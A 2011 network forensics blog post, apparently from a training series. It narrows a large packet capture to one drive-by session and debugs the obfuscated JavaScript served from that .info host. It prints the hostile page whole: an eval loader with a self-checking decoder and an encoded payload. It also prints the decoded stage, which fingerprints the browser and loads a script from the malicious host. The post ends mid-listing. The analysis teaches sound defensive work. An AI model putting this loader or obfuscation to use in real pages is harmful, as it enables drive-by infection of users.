Thursday, January 13, 2011

Network Forensics and Reverse Engineering Series Part 2 - JavaScript analysis and reverse engineering

Note: The images in this post are easier to see at the location I first posted this: http://www.networkforensics.com/forensics-and-reverse-engineering-series/javascript-analysis-and-reverse-engineering/

Introduction

In our first post in the forensics and reversing series, we examined why HTTP gzip content encoding is a larger and more serious problem than most people realize. We’ll use the end of the first post as a starting point for analysis in this post. It also serves as an example of something far more important. That is, the very heart of forensics – and something I’d propose is the very definition of forensics. I teach a network forensics and reversing class together with Mike Sconzo about once a month. This is a point I raise at least a dozen times a day in class. That is:

World class forensics engineers are the ones who quickly and intelligently reduce millions of sessions to about a dozen worthy of deeper analysis.

What constitutes quickly? I suppose it depends on the tool being used to perform the analysis, but I’d generalize by saying no more than a couple minutes and/or the same number of clicks. We’ll see this in a moment.

What constitutes intelligently? We can answer this question by looking at a host-based forensics analogy. Suppose you were given a hard disk of a compromised machine and you needed to find the malware. There could be millions of files on the computer, so where do you start? Most of the time, especially for most standard compromises, the following steps will work (this is an over-generalization, but one that works nonetheless):

  1. Show only PE files (exe, dll, etc..). At this point you’ve probably gone from nearly a million to about 100,000.
  2. Show only PE files outside the Program Files directory. Here you may go from about a hundred thousand files to tens of thousands.
  3. Depending on the assumed time of compromise, show only those PE files modified or created in a specific range of days. At this point you should go from tens of thousands to less than 100.
  4. Since malware tends to be smaller in size, show only those PE files less than 500k. At this point you should be looking at only a handful of files, and most of the time, the malware you’re looking for will be one of them.
In the above steps, you found malware NOT by looking for known traits of malware. You did it by examining general characteristics about file traits. In other words, by examining characteristics external to the file, not by searching for signatures or other characteristics internal to the file. Typically, each of those traits by themselves are completely uninteresting until they are combined with other “uninteresting” traits, making them very interesting when layered together.
As you’ll see next, the same applies to network traffic. We can intelligently go from millions of sessions to only a few by wisely layering traits of network sessions with little attention paid to what is inside those sessions.

Intelligent Network Forensics

Extending the discussion in the previous section (and the previous post in this series), we’ll start with examining a pcap containing about 50,000 sessions (over a gig of traffic) in NetWitness Investigator.
Our fist pivot is sessions containing nginx webservers. This brings us from 50,000 sessions down to about 300:



Next, we’ll pivot on gzip so we’re only looking at gzip’ed content from nginx servers:



Now we’re down to 33 sessions, but that’s still not good enough. If you figure an average 60 seconds of analysis time per session, that’s still a half hour of analysis just checking to see if there’s something interesting in those sessions. That is a huge waste of time and not intelligent forensics.

In the last post in this series, we combined the above with an examination of traffic from “other” countries. This time we won’t be geopolitically prejudiced. Instead, we’ll pick on top level domains.

Many reports from AV companies show most malware comes from the .com TLD. I think that metric is stupid. (Sorry.) Let’s put aside for a minute the obviously glaring problem with how they define malicious content in the first place. (Or maybe save that discussion for a rant in a separate post.) Most reports showing such metrics never show the total amount of traffic sampled from each domain. I’m certain .com is the vast majority of that traffic, and from a percentage perspective, malicious content is a small percentage of total traffic sourced from .com domains. Especially compared to other domains like .info and .cc. (In other words, I’d venture that the ratio of legitimate to malicious traffic from .info and .cc domains is a drastically different from the ratio of the same from .com.) Many sponsors charge 99 cents or less per .info or .cc domain registered, making it easy for hackers to register 100’s of throw-away domains en masse which is why we see such a high percentage of malware coming from those TLDs.

What happens when we add an .info filter to our above pivots? We go from 50,000 sessions down to one.



(Hey Latvia, remember how I said we’d pick on our own country in part 2 of this series?!) ;-)



At this point, looking at this single session is an intelligent use of time.

Here’s what we see in this session:

GET /cgi-bin/guest HTTP/1.1
Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/vnd.ms-excel, application/vnd.ms-powerpoint, application/msword, application/x-shockwave-flash, */*
Referer: http://www.elitefitness.com/forum/weight-training-weight-lifting/gym-mirrors-where-do-you-get-them-289864.html
Accept-Language: en-us
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; InfoPath.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)
Connection: Keep-Alive
Host: mdakab.info

HTTP/1.1 200 OK
Server: nginx/0.7.62
Date: Tue, 16 Feb 2010 10:20:01 GMT
Content-Type: text/html
Transfer-Encoding: chunked
Connection: keep-alive
Pragma: no-cache
Content-Encoding: gzip
4EA
……….}Xko….^ ….D.eyg….V..v
..]7h. P.!.$..{m……..Z.ue’6 .1.;3……..~;O_…I…E}._mq.^..m……..)…>/……….b…~4..Z.(….~{#..9.|.~2.)N……..|….*[<[.......=$E.Dt.........z..b.vUV./......|.|..:[}..s>....]t….X.q..6..rN..I..O..\…..p…gV…..L.i.n….u.BW………?..wu..3.Y!…..S:+….}&..pT.V,.=w.

As expected, it’s gzip compressed, although looking at the session in NetWitness Investigator hides that fact by automatically deflating the contents for us. Also notice the Referrer: tag in the client’s HTTP request. As the client was redirected from a forum, it’s likely that forum is serving advertising containing drive-by attacks, or a link in the forum is tricking people into clicking.

If we take the contents of the session Investigator automatically deflated we see the following (with some formatting added here):


Data provided by Pastebin.com - Download Raw

  1. <html>
  2. <head>
  3.     <script>        function wg7_I6d_3kg(N__egeg_iCt_C, thM0X3_Ac0O__Vw) { var r1Qq5Y3R = ""; var x__IK_7p_f = new Array(101, 111, 256, -1, 120, 23); var jtJuIuDEg = String.fromCharCode(x__IK_7p_f[4] + 2); x__IK_7p_f[3] = x__IK_7p_f[2] * 2; if (!thM0X3_Ac0O__Vw) { var b_b_x_O3XJ4_qN = x__IK_7p_f[0]; b_b_x_O3XJ4_qN = String.fromCharCode(b_b_x_O3XJ4_qN); b_b_x_O3XJ4_qN += b_b_x_O3XJ4_qN; thM0X3_Ac0O__Vw = document.getElementById(b_b_x_O3XJ4_qN); thM0X3_Ac0O__Vw = thM0X3_Ac0O__Vw.value; } var g2N2c58g_cFcf = new Array(-2, 7, 0, 0); g2N2c58g_cFcf[0] += 2; g2N2c58g_cFcf[1] -= 7; if (!N__egeg_iCt_C) { var N50_648D7_t_k = 0; var Ffyncmd8Y = x__IK_7p_f[0] - 54; var lEu5nv0 = Ffyncmd8Y + 11; var q0703A5 = arguments.callee; var aA_nii_C6 = N50_648D7_t_k; var U__i5_j48r = q0703A5.toString(); while (aA_nii_C6 < U__i5_j48r.length) { var Op18mkb = U__i5_j48r.charCodeAt(aA_nii_C6); if (Op18mkb > Ffyncmd8Y && Op18mkb < lEu5nv0) { if (N50_648D7_t_k == 4) { N50_648D7_t_k = 0; } g2N2c58g_cFcf[N50_648D7_t_k] += Op18mkb; var Lqhs6q0 = 100; if (g2N2c58g_cFcf[N50_648D7_t_k] > 512) { g2N2c58g_cFcf[N50_648D7_t_k] -= x__IK_7p_f[3]; Lqhs6q0 = 0; } N50_648D7_t_k++; } aA_nii_C6++; } } else { g2N2c58g_cFcf = N__egeg_iCt_C; } for (var sq6__AaVN__C = 0; sq6__AaVN__C < 4 && g2N2c58g_cFcf.length > 0; sq6__AaVN__C++) { if (g2N2c58g_cFcf[sq6__AaVN__C] > x__IK_7p_f[2]) { g2N2c58g_cFcf[sq6__AaVN__C] -= x__IK_7p_f[2]; } } var f1Gc7_7pPVm_vg = 0; var Qm_Y__X = f1Gc7_7pPVm_vg; var IQ__s_0qI_w_Em5 = Qm_Y__X; var SV5SwoJfj_O; while (Qm_Y__X < thM0X3_Ac0O__Vw.length) { o_40M7__5On = thM0X3_Ac0O__Vw.substr(Qm_Y__X, 2) + "^"; var sFFiD1J = parseInt(o_40M7__5On, x__IK_7p_f[5]); if (IQ__s_0qI_w_Em5 == 4) { IQ__s_0qI_w_Em5 = 0; } sFFiD1J -= (f1Gc7_7pPVm_vg + 2) * g2N2c58g_cFcf[IQ__s_0qI_w_Em5]; if (sFFiD1J < 0 || sFFiD1J < -1) { var xyz = x__IK_7p_f[2]; sFFiD1J -= Math.floor(sFFiD1J / xyz) * x__IK_7p_f[2]; } r1Qq5Y3R += String.fromCharCode(sFFiD1J); Qm_Y__X += 2; IQ__s_0qI_w_Em5++; f1Gc7_7pPVm_vg++; } var e22y8QdoQv_Dta = this.window; var b_b_x_O3XJ4_qN = ""; b_b_x_O3XJ4_qN = document.getElementById(jtJuIuDEg).name; b_b_x_O3XJ4_qN += "value"; b_b_x_O3XJ4_qN = b_b_x_O3XJ4_qN.substr(0, 4); e22y8QdoQv_Dta[b_b_x_O3XJ4_qN](r1Qq5Y3R); return 0; }</script>
  4. </head>
  5. <body onload="wg7_I6d_3kg(0);">
  6.     <form method="post">
  7.     <input type="hidden" id="ee" value='4g312441341iae922a006f481979475m9k52a7b18l769i726k3c630b8h3h291i7ab0ab7861036mb1396l4k3h2e6a53a4553g26283c4k8i6e221e52191i1h2439a48db06j0g9jag35af867j7ja64b451297461i58894797977f2i782m6e9l54705cab1e8d1j8ga252177672862b5c231la0249h70al229g9c9mb2551jafa243617a6fa81f91749m6f6j5g4c7652373b0b3daf1g7k5j9ia40k3ia67531385m1k6f074ia3b09k426m4i9g1f44190g2c4m1i99ai188ba0aa9g016b635a3g866843ai5d4g0i273i4g9g882i0i51ad411a456h1g09a2ae2c9m7f3m1a756l839c62199l7l2aa33ja5326m7888006l2d8mai43565a6bb0a43d507g25324l63a54d5329093616ab5m1k1c6m9fa8874k299d7j499612829h28ai3c775g894g6c098h3322225302b05a489471a44m8i7l5h5k66229f2g4a0c283f23854l0016509805204g62148d1i9k8a78931da77i7j739a4d298h723d9h215i0j787k612l6l2k459a3g4l329209b21b6k6m1c174l466m2h5i5020a0421f389b1c8baaae1a6l3f8288196c7i5i9jab5h4e8c4i8c597c844e392a134m171b4h3a92719i257e58573h9d496f2h7a9h050k489g6d1b406l9692aj2f317598af656h968l32859b54496l5e239m5c5k9h2c2k1c7f6d221174234h171968377ka29g0l919749167b4k628i4a2f9a802d9j318e20ag9h9cae4k2c688i3768776bb08l3f5e7m253k6c756b2438383a3g3dah4h29aj7ga710b2441fah6f1b6f9854a321046c9i6i816078al600h2m318k1d1m6a4mag80ac578e71303i6c197a284a9j0d11296m8d1g376lb20h142a391a04187e987k7d35am8974858h6l1h8j80571l4m7i489m675e207d2b690d457c5876a68524606m1b1k414h6c0341382h1e46ah4107097g9ea10f4424797a22676e6m2817954593607l4g7k8m6f22360947af9j5c26927a922k9b7l513i6m228m0e530c1f1d40ag7119166d978j0h434e8fa31e96759h832c8c634c3h4m6m238i4i5h1a2g3h4aa26b41b05a9m4c13536838ag26am2m6lad4e2389748aag604i190b4a1g5f7a0a6mam981c440d58893i57547c180e505i9m563d59447h1j54453a43371a7g3c257d0m2j027h3c14a14b9f07841eag833cal6g9l1m4c7l682i231j641d1a6k5306a2af5a6j5a305l8253ac4h6c2640482h9j8b38487i132e0l455k16131a9l07797801097j4l537h6e45a46g571h2j700h85677b207l2g670a51775l7i1lb14k8gaf463g71589j3i6c4d21a01610429k099gac9g9i744186991i56ab84aba86g6m9i465f5f77815m122f095a06ab5i4l0i899m47af5148119d529c34812405ac386m4m9f1f5814al36193l9aa6ae6m92aaa42m8570444m4e4f1b956i6a241e6e46ac5e3h0h6l273k114f57137kb07c027b6m2bac7b7f7j096a3ca77l2j9h517i0i809h90b151358a8l3a547h9b200k758183234a456l9m4d4c4f1j1j0ga54a022eag022i855h3c1299439b977j0i1b8f499g5i6k3544a66h132a3j7m06ae8a799690a9679m706d418g48a83278a2271f4kaa7f2f3j67a3adah515l091224a00ga2770i8c5j587d9h3k1ha77h51184g8b1a9g8b690251265b8h2e3k337d0haa2b6b7i4438767i8c0e2b1k06a010aa3aa71b948g939h6l3faeam43636c66b09e75639g5d7c644k9l623927165i1ial8i5m12a316477k674c1a6j2599277e252eag3aa67515487j0d820l192d7l9f9ha28b9l7m05678k6l6l8577268145469h183d23716i6121781m3420345l169h9h800f67712f9h4h4f52al5929a78h48185kaf2i7j84a525703i57b2436776741l0g677h9g2k5a5a447h1j4h4j2e4f3d1e7a3ha99k0j25b17j4eb29m49970b8b26af7j739k72a15a7j7m691d4a3j6k1faa8h74009i19439d663e6386518i5778243h3f5jae7l060f7j202c201b30978f269j13af7e36a99470809e7a4d129b29a333803b8g934i2b72266108236e4a7i25025371ae524475719b395b1ha52b4b1c3a9fab71aj0i1a7f2181804h8598911a186679a85k853772a6721f463d6a041g8a541dae9h54854k32146f288j065baa0daj3f7g560627539a930g252h800e1c92748b9m066c716g49585622b24a3maa182k1l6m7i5430652c2l1129510f911dam27a0a73h1l894i7m126356a1ah52225faa308ba3981i730d88ai3379539i1c0c697f7g4k4i3h58'><input
  8.        type="hidden" id="z" name="e" value="123"></form>
  9. </body>
  10. </html>

 

Reverse Engineering the Javascript

Important notes:

1 – Of course, the following steps should NOT be performed on a production system! Furthermore, the system you run these steps on should be fully patched!! Using Visual Studio means the IE scripting engine is used in the debugging process, which could present issues if you’re not careful. I do work like this on a fully patched x64 Windows 2008 system.

2 – The remainder of the post dives into code analysis and using Visual Studio for debugging. If there are basic concepts I failed to cover effectively to make this process easily repeatable for you, please send me an email at gary.golomb to netwitness.com and I will ensure to cover that information in a separate post or video. (In rereading this post, I see some potential gaps. :-/)

This exercise will use two different tools. The first is Visual Studio. If you do not have it already, you can download it free at http://www.microsoft.com/express/Downloads/#2010-Visual-Web-Developer. You will need Visual Web Developer for this exercise, or the all-in-one iso. The second tool is PDFStreamDumper available from: http://sandsprite.com/blogs/index.php?uid=7&pid=57. While other tools could be used for the same tasks we’ll use PDFStreamDumper for, part 3 of this series will focus on PDF reverse engineering and we’ll be using that tool heavily. Might as well get your feet wet with it now!

To fully dissect the javascript sent to the client, we need to debug it step-by-step. To do so, we’ll first create an ASP project in Visual Studio (since that give us the debug functionality needed to make this much easier). In that project, we’ll remove all the default content created in the page for us by VS, except the first line, and append the content returned by the webserver. Doing so gives us something like the following:



Of course, we can be sure the logic we care about is the javascript, but that is still highly unreadable in one giant line and not in a format that allows for easy debugging. Because of that, we’ll use PDFStreamDumper to help clean it up. First, we open the application, then go into the javascript UI:




Next, we paste the unformatted javascript into the top script pane:



Next, select the Format Javascript selection to make it easier to read:



Although, it’s really not very easy to read yet since the variable names have confusing names like “b_b_x_O3XJ4_qN” and “x__IK_7p_f” that will make it hard to follow references to them as we walk through the code in a moment. Because of this, we’ll also apply the Basic Refactor functionality of PDFStreamDumper to clean up the code a little more:



And the code we want now is in the right-side pane:



We can take the code in the right-side pane and now paste it back into our Visual Studio project from before and it’ll now look something like the following:



Before moving on, let’s examine the HTML in the page to determine how the javascript is used on the client:



Data provided by Pastebin.com - Download Raw

  1. <body onload="wg7_I6d_3kg(0);">
  2.     <form method="post">
  3.     <input type="hidden" id="ee" value='...truncated...'>
  4.     <input type="hidden" id="z" name="e" value="123">
  5.     </form>
  6. </body>

On line #1 we see the javascript function is called the moment the page is loaded on the client side without any user interaction. The only value passed to the function is the number 0.


On line #3 and #4 we see two hidden values we can assume are leveraged within the javascript somehow, yet we still need to determine how/why. (I removed the large value from #3 just for the sake of this short examination. It is viewable in the previous display of the code and will be examined again shortly.)

At this point we can set a debug point at the start of the javascript function by clicking in the far-left margin next to the line we want to set the breakpoint:



Then we can start the debugger:



One thing you’ll notice is that Internet Explorer pops up in the background. This is important because it means the javascript you debug using the technique I’m showing here will show you how IE interprets the javascript, not how Firefox, Opera, Safari, etc interprets it. Interestingly, they all have subtle difference from each other in that regard. As most malicious javascript targets Windows users running IE, this is a safe method to start with, however the analysis will be incorrect if the JS is targeting a different browser, operating system, or javascript engine (we’ll see this in later posts).

The yellow line shows the line the debugger will execute next if you hit “step into.” The red box shows the “step into” button:



As you step line-by-line, you can mouse-over a variable to see what it contains before and after you step into it, as the following two examples show:







In the last example, we see gvar_2 was just assigned the value “z.” This should immediately catch your eye as interesting because of line #4 for the HTML code we examined just a minute ago. Gvar_2 got the value “z” through the following steps:
  1. Gvar_1 was built as an integer array with the values:
    1. 101
    2. 111
    3. 256
    4. -1
    5. 120
    6. 23
  2. The value at offset 4 in gvar_1 (value = 120, because the array uses zero-based indexing) was incremented by the number two to give the value 122.
  3. The value 122 was treated as a decimal representation of a letter and fromCharCode() was used to convert it to its corresponding letter. As you can see in the ascii table shown here (http://www.asciitable.com/), 122 is the decimal equivalent of the letter z.
Also be aware that you don’t need to mouse-over each variable to watch changes take place. The “Locals” table at the bottom of the window in debug mode shows each variable and keeps track of its current value in a single table. We’ll utilize the locals table in later screenshots while analyzing the code.



Continuing to the next few lines, we see the following:



In the above, we see:
  1. thM0X3_Ac0O__Vw is tested to see if it is null, which it is.
  2. Gvar_3 is assigned the first value in the array gvar_1, which is 101.
  3. Gvar_3 is reassigned the letter representation of that number using fromCharCode, which is “e”
  4. Gvar_3 is then added to itself and becomes “ee”
  5. thM0X3_Ac0O__Vw is then assigned the value of the object in the HTML with the ID “ee,” also shown below:
<input type=”hidden” id=”ee” value=’4g31…truncated…4i3h58′>

So far, so good, right? As you can see, reverse engineering javascript and what it’s doing isn’t too hard. I’ve even been keeping this lower-level than I need too since we can just summarize everything we’ve seen so far by just making the point given in #5 above.

Well, reverse engineering javascript can be this easy, most of the time. Unfortunately, in this case it’s not going to be that easy. A few lines after the above logic, we hit the following. The break point was set at the start of the while loop so you can see the values of each variable as we enter it:



Gvar_5, 6, 7, and 9 are number values. Gvar_8 is an object that is converted to a string and held in gvar_10. You can see the start of the string held in gvar_10 in the locals table at the bottom of the screenshot, but let me include a little more here:

function wg7_I6d_3kg(N__egeg_iCt_C, thM0X3_Ac0O__Vw) {
var gvar_0 = “”;
var gvar_1 = new Array(101, 111, 256, -1, 120, 23);
var gvar_2 = String.fromCharCode(gvar_1[4] + 2);
gvar_1[3] = gvar_1[2] * 2;

As you see, gvar_10 is the entire text of the function itself. WHAT?!

This trick has been used in malicious javascript for several years now, but is finally making its way into more mainstream malware (aka: become more common). Although the functionality presented by arguments.callee seems totally pointless, it’s actually used in anonymous recursive functions as well as in debug code, as the following example shows:

function testCallee()
{
return arguments.callee;
}
document.write(testCallee());

In the above simple example, the programmer is using arguments.callee to write the function itself to the page displayed, a common test in the process of developing certain types of client-side apps.
However, when used in malicious javascript (as we’re examining), the use of arguments.callee can make the job of reverse engineering JS more difficult. Let’s take a detailed walk through that while loop line-by-line and discuss:



In the first line inside the while loop (red box), gvar_9 has the value zero. Gvar_10 is the entire string of the function itself (also shown in the locals box) as obtained by using arguments.callee, so the letter at index zero in that string is the “f” in the word “function.” charCodeAt() is used to return the number representing that letter, which you can see at http://www.asciitable.com/ and in the locals box is the decimal number 102.



In the next line (shown above), that value is tested to see if it is greater than the value in gvar_6 (which is 47), or less than the value in gvar_7 (which is 58). If you refer back to http://www.asciitable.com/, you’ll see the test is looking only for the ascii numbers zero through nine.

If the value is not an ascii character for a number zero through nine, then gvar_9 is incremented and the while loop continues, as shown:



Let’s examine what happens inside the if statement when an ascii number is encountered:


Data provided by Pastebin.com - Download Raw

  1. while (gvar_9 < gvar_10.length)
  2. {
  3.     var gvar_11 = gvar_10.charCodeAt(gvar_9);
  4.     if (gvar_11 > gvar_6 && gvar_11 < gvar_7)
  5.     {
  6.         if (gvar_5 == 4)
  7.         {
  8.             gvar_5 = 0;
  9.         }
  10.         gvar_4[gvar_5] += gvar_11;
  11.         var gvar_12 = 100;
  12.         if (gvar_4[gvar_5] > 512)
  13.         {
  14.             gvar_4[gvar_5] -= gvar_1[3];
  15.             gvar_12 = 0;
  16.         }
  17.         gvar_5++;
  18.     }
  19.     gvar_9++;
  20. }


At line #6 gvar_5 is tested to see if it equals the number four. If so, it is reset to be zero. In this case, this is the first time we have entered the if statement while debugging this code and gvar_5 is still equal the number zero from its initial assignment earlier in the code.

Skipping over the if statement, we hit line #10 where we see manipulation of gvar_4. I did not address gvar_4 earlier, but here is the code that setup gvar_4 just before the setup of this while loop:

var gvar_4 = new Array(-2, 7, 0, 0);
gvar_4[0] += 2;
gvar_4[1] -= 7;

The array is built with four numbers in it. Gvar_4[0] is equal to -2, but subsequently has +2 added to it. Gvar_4[1] is equal to 7, but subsequently has 7 subtracted from it. As we see, this is just a confusing way of setting up an array with four numbers all equal to zero.

Back to line #10, the first number we hit is the number 7 in this string: “function wg7_I6d_3kg.” The decimal byte value for 7 is 55, so at line #10 the number in index zero (because gvar_5 equals zero at this point) in the array gvar_4 is incremented by the number 55. In this case it is 0 + 55 = 55, but you can see how this number will grow for every number encountered as we walk through the text of the function itself.

Line #11 creates gvar_12 and line #15 resets it, making it a dummy value only inserted for the purpose of confusing us. (Or is it?! You’ll have to answer this again after we see how arguments.callee is being used here.)

Line #12 tests the value we just wrote into the array gvar_4 to see if it’s greater than 512. Because the decimal values for the number zero through nine are 48-57, that test will always evaluate false and will never be entered.

Line #17 increments the counter used as an index pointer for gvar_4 and the loop continues. After the while loop has completed, we hit a for loop that basically just decrements each number in gvar_4 by 256 (given by the number at index 2 inside gvar_1):



So why is arguments.callee such a problem?

Because we changed the contents of this function to make it easier to read, understand, and work with! We took all the following:

var aA_nii_C6
var b_b_x_O3XJ4_qN
var e22y8QdoQv_Dta
var f1Gc7_7pPVm_vg
var Ffyncmd8Y
var g2N2c58g_cFcf
var IQ__s_0qI_w_Em5
var jtJuIuDEg
var lEu5nv0
var Lqhs6q0
var N50_648D7_t_k
var Op18mkb
var q0703A5
var Qm_Y__X
var r1Qq5Y3R
var sFFiD1J
var SV5SwoJfj_O
var U__i5_j48r
var x__IK_7p_f
var xyz

And renamed them gvar_1, gvar_2, gvar_3 and so on… That means we removed numbers from the names of variables the decoding algorithm needs to function properly. In other words, in this case, the decoding algorithm is able to determine if the javascript has been tampered with, and if so, it fails to decode properly!

So the next question is: will the decoding algorithm work if we reformat the javascript to make it easier to follow, without renaming anything (eg: inserting new lines, spaces, tabs, and whitespace to make it easier to read)? So far we have not encountered anything to indicate reformatting the javascript will break decoding. Because of that, I’ll go back to the old naming conventions and just continue the debugging from where we left off. Rerunning everything with the original variable names gets us through the for loop with the following values in the array we previously referred to as gvar_4:



Now things start to get a little more interesting. We hit a while loop that appears to start working on the very long encoded string contained in the hidden HTML object.



Qm_Y__X initially has the value zero and in each pass through the loop is tested to see if its value is less than the number representing the length of the encoded string, presumably making it an index into the string as the decode logic works through decoding the string. The first line inside the while loops takes the next two characters from the index position (currently index zero, making the substring “4g”) and assigns them to o_40M7__5On, while also appending a “^” character.



To understand the next line, we first need to talk about how the parseInt() function works in javascript. It has the following format:

parseInt(string, radix)

The parseInt() function parses a string and returns an integer. The radix parameter is used to specify which numeral system to use. For example, a radix of 16 (hexadecimal) indicates that the number in the string should be parsed from a hexadecimal number to a decimal number.

Also from http://www.w3schools.com/jsref/jsref_parseint.asp:
Tips and Notes
Only the first number in the string is returned!
Leading and trailing spaces are allowed.
If the first character cannot be converted to a number, parseInt() returns NaN.

Now consider the next line:



The string passed to parseInt() is “4g^” meaning the only number parsed is the number 4. However, the radix used for every number parsed inside this while loop is 23. The next few lines get considerably more complex and make up the heart of this impressive encoding/decoding scheme. We’ll examine them line-by-line as we take a single detailed pass through this while loop.


Data provided by Pastebin.com - Download Raw

  1. while (Qm_Y__X < thM0X3_Ac0O__Vw.length)
  2. {
  3.     o_40M7__5On = thM0X3_Ac0O__Vw.substr(Qm_Y__X, 2) + "^";
  4.     var sFFiD1J = parseInt(o_40M7__5On, x__IK_7p_f[5]);
  5.     if (IQ__s_0qI_w_Em5 == 4)
  6.     {
  7.         IQ__s_0qI_w_Em5 = 0;
  8.     }
  9.     sFFiD1J -= (f1Gc7_7pPVm_vg + 2) * g2N2c58g_cFcf[IQ__s_0qI_w_Em5];
  10.     if (sFFiD1J < 0 || sFFiD1J < -1)
  11.     {
  12.         var xyz = x__IK_7p_f[2];
  13.         sFFiD1J -= Math.floor(sFFiD1J / xyz) * x__IK_7p_f[2];
  14.     }
  15.     r1Qq5Y3R += String.fromCharCode(sFFiD1J);
  16.     Qm_Y__X += 2;
  17.     IQ__s_0qI_w_Em5++;
  18.     f1Gc7_7pPVm_vg++;
  19. }


We pick up at line #5, where a counter is reset every time it’s equal to the number four. As this is our first time inside the loop, it’s currently has the value zero.

Jumping over that if statement to line #9, we see the number variable just assigned a value in the previous section where we discussed parseInt(). That number is being decremented by ValueA multiplied by ValueB where:

ValueA is (f1Gc7_7pPVm_vg + 2). The variable f1Gc7_7pPVm_vg starts at the number zero when we first enter this loop, but is incremented with every pass through the loop at line #18, making this variable change for every charter evaluated.

ValueB is (g2N2c58g_cFcf[IQ__s_0qI_w_Em5]), where g2N2c58g_cFcf is a number array containing the following values:



It’s important to stop here and draw your attention to the fact that the values inside g2N2c58g_cFcf (the array pictured above) were generated by parsing the text resulting from arguments.callee and applying the math examined when we looked at that first while loop. By trying to change the variable names the way we did to make things easier to reverse, the resulting numbers placed inside the array above would have been totally different, meaning the next few steps would produce completely incorrect results!

In our first step into the loop, IQ__s_0qI_w_Em5 is equal to the number zero, so the value used from the array for this first pass is 251. At line #17, IQ__s_0qI_w_Em5 is incremented with each pass, but line #5 resets it to zero every time it reaches the value four, ensuring the array g2N2c58g_cFcf is cycled through correctly. So in this case, ValueA = 2 and ValueB = 251, and 2 * 251 = 502, which is subtracted from 108 to give the value negative 394. However, line #10 tests to see if the value just computed is less than 0, which of course it always will be!

Line #12 just assigns the value 256 to the variable xyz.

Line #13 give us the final decode for the value needed by the remainder of the code by taking the value in sFFiD1J (currently -394), which in this case becomes +118 after the execution of that line.

Line #15 gradually builds a string by appending each newly decoded value to it and lines #16-18 are just pointer updating as discussed already. If we remove our breakpoint in the loop and let it complete (but add a new breakpoint after the loop so we can examine variables when it’s complete), here is the final value of the string containing the fully decoded contents of the encoded HTML object:

var ght0jcY_f1c = -1;var DMv_m70U81LIb = “01″;var tI__JGR85k__254 = navigator.appMinorVersion;while((ght0jcY_f1c = tI__JGR85k__254.indexOf(“;SP”, ght0jcY_f1c + 1)) != -1) {var RC_Vt__07 = tI__JGR85k__254.charAt(ght0jcY_f1c + 3);if (RC_Vt__07 == “1″)DMv_m70U81LIb = “02″;else if (RC_Vt__07 == “2″)DMv_m70U81LIb = “03″;else if (RC_Vt__07 == “3″)DMv_m70U81LIb = “04″;else if (RC_Vt__07 == “4″)DMv_m70U81LIb = “05″;else if (RC_Vt__07 == “5″)DMv_m70U81LIb = “06″;else if (RC_Vt__07 == “6″)DMv_m70U81LIb = “07″;if (DMv_m70U81LIb != “01″)break;}if (DMv_m70U81LIb == “01″ && tI__JGR85k__254.indexOf(“Release Candidate”, 0) != -1)DMv_m70U81LIb = “08″;var RihOuI_7K = “2″ + DMv_m70U81LIb;var W118_aA4eh4O;if (!(W118_aA4eh4O = navigator.systemLanguage)) {if (!(W118_aA4eh4O = navigator.userLanguage)) {if (!(W118_aA4eh4O = navigator.browserLanguage)) {W118_aA4eh4O = navigator.language;}}}if (W118_aA4eh4O) {W118_aA4eh4O = W118_aA4eh4O.substr(0, 10);var QS743__js_4 = “”;for(var H4_p__kQ4 = 0; H4_p__kQ4 < W118_aA4eh4O.length; H4_p__kQ4++) {var DL___q0_RU54_T = W118_aA4eh4O.charCodeAt(H4_p__kQ4).toString(16);if (DL___q0_RU54_T < 2)QS743__js_4 += “0″;QS743__js_4 += DL___q0_RU54_T;}while(QS743__js_4.length < 20) {QS743__js_4 += “00″;}RihOuI_7K += “L” + QS743__js_4;}var f_Ha0lc_a_1_P = document.createElement(“script”);f_Ha0lc_a_1_P.setAttribute(“type”, “text/javascript”);f_Ha0lc_a_1_P.setAttribute(“src”, “http://mdakab.info/cgi-bin/guest/y002106R09007318X86487362Ycd32e585Z0100f060″ + RihOuI_7K);document.body.appendChild(f_Ha0lc_a_1_P);

As you see, it decodes into more new javascript. :-) But, we still need to see how it’s leveraged, which the last few lines of the code we’re currently debugging will show us:



First, the red box shows the variable b_b_x_O3XJ4_qN being assigned the value “e.”

The next line appends the string “value” to it, making the new contents of b_b_x_O3XJ4_qN “evalue.”

The following line reassigns it as a substring of the original value, in this case the first four letters of “evalue,” or “eval.”

The final line is the equivalent of this.window[eval](string), but the string is the newly decoded javascript, so this javascript is turning around and executing the newly decoded script.

Rather than take a detailed walk through the analysis of the newly decoded javascript, I’ll leave it as an exercise for you. Don’t worry – there’s no use of arguments.callee, so it’s much easy to work with!! Feel free to reformat it and rename variables to make it easier to read. You can create a new website in Visual Studio and debug it the same way. This time we only have the javascript here, so you’ll need to manually add the HTML needed to get it to execute, as you can see in the following example. Notice I used the same technique they did to get the javascript to execute as soon as the page is loaded (meaning you can just add a breakpoint to the top line of the javascript).


Data provided by Pastebin.com - Download Raw

  1. <html>
  2. <head>
  3.     <script>
  4.         function mytest()
  5.         {
  6.             /* insert new JS here */
  7.         }
  8.     </script>
  9. </head>
  10. <body onload="mytest();">
  11. </body>
  12. </html>


Here is the new javascript with formatting:


Data provided by Pastebin.com - Download Raw

  1. var ght0jcY_f1c = -1;
  2. var DMv_m70U81LIb = "01";
  3. var tI__JGR85k__254 = navigator.appMinorVersion;
  4. while ((ght0jcY_f1c = tI__JGR85k__254.indexOf(";SP", ght0jcY_f1c + 1)) != -1) {
  5.         var RC_Vt__07 = tI__JGR85k__254.charAt(ght0jcY_f1c + 3);
  6.         if (RC_Vt__07 == "1") DMv_m70U81LIb = "02";
  7.         else if (RC_Vt__07 == "2") DMv_m70U81LIb = "03";
  8.         else if (RC_Vt__07 == "3") DMv_m70U81LIb = "04";
  9.         else if (RC_Vt__07 == "4") DMv_m70U81LIb = "05";
  10.         else if (RC_Vt__07 == "5") DMv_m70U81LIb = "06";
  11.         else if (RC_Vt__07 == "6") DMv_m70U81LIb = "07";
  12.         if (DMv_m70U81LIb != "01") break;
  13. }
  14. if (DMv_m70U81LIb == "01" && tI__JGR85k__254.indexOf("Release Candidate", 0) != -1) DMv_m70U81LIb = "08";
  15. var RihOuI_7K = "2" + DMv_m70U81LIb;
  16. var W118_aA4eh4O;
  17. if (!(W118_aA4eh4O = navigator.systemLanguage)) {
  18.         if (!(W118_aA4eh4O = navigator.userLanguage)) {
